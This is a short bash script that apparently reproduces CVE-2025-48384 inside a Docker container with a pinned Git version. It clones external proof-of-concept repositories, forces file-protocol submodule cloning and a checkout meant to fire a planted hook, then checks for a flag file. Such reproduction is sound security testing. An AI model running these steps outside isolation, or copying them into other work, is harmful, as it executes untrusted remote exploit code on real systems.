#!/usr/bin/env bash set -euo pipefail # Usage: # IMAGE=cve-48384-git-2.47.2 REPO_URL=https://github.com/vinieger/CVE-2025-48384 ./test_external.sh # Vars: # IMAGE - Docker image with specific Git version (built via Dockerfile.source) # REPO_URL - Remote PoC repo to clone (default: vinieger/CVE-2025-48384) # SUB_URL - Remote submodule repo (default: liamg/CVE-2025-48384-submodule) IMAGE=${IMAGE:-cve-48384-git-2.47.2} REPO_URL=${REPO_URL:-https://github.com/vinieger/CVE-2025-48384} SUB_URL=${SUB_URL:-https://github.com/liamg/CVE-2025-48384-submodule} echo "Testing external PoC repo: $REPO_URL with image: $IMAGE" docker run --rm -t -e REPO_URL="$REPO_URL" -e SUB_URL="$SUB_URL" -v "$PWD:/work" -w /work "$IMAGE" bash -lc ' set -euo pipefail echo "Using Git:" && git --version echo "Preparing local copies in /tmp (per upstream PoC)..." rm -rf /tmp/CVE-2025-48384 /tmp/CVE-2025-48384-submodule /tmp/test git clone "${REPO_URL}" /tmp/CVE-2025-48384 git clone "${SUB_URL}" /tmp/CVE-2025-48384-submodule echo "Show .gitmodules (hex) from superproject:" if command -v hexdump >/dev/null 2>&1; then hexdump -C /tmp/CVE-2025-48384/.gitmodules | sed -n "1,120p"; else od -An -tx1 -v /tmp/CVE-2025-48384/.gitmodules | sed -n "1,8p"; fi echo "Cloning locally with file protocol allowed (recurse-submodules)..." (cd /tmp && git -c protocol.file.allow=always clone --recurse-submodules ./CVE-2025-48384 /tmp/test) echo "List hooks in resultant repo:" && ls -la /tmp/test/.git/hooks || true echo "Force top-level checkout to trigger hook if present:" && git -C /tmp/test checkout -f HEAD || true echo "Scan /tmp for likely artifacts and print stdout markers:" && ls -la /tmp | sed -n "1,120p" if [ -f /tmp/flag.txt ]; then echo "Flag created:" && cat /tmp/flag.txt; fi ' '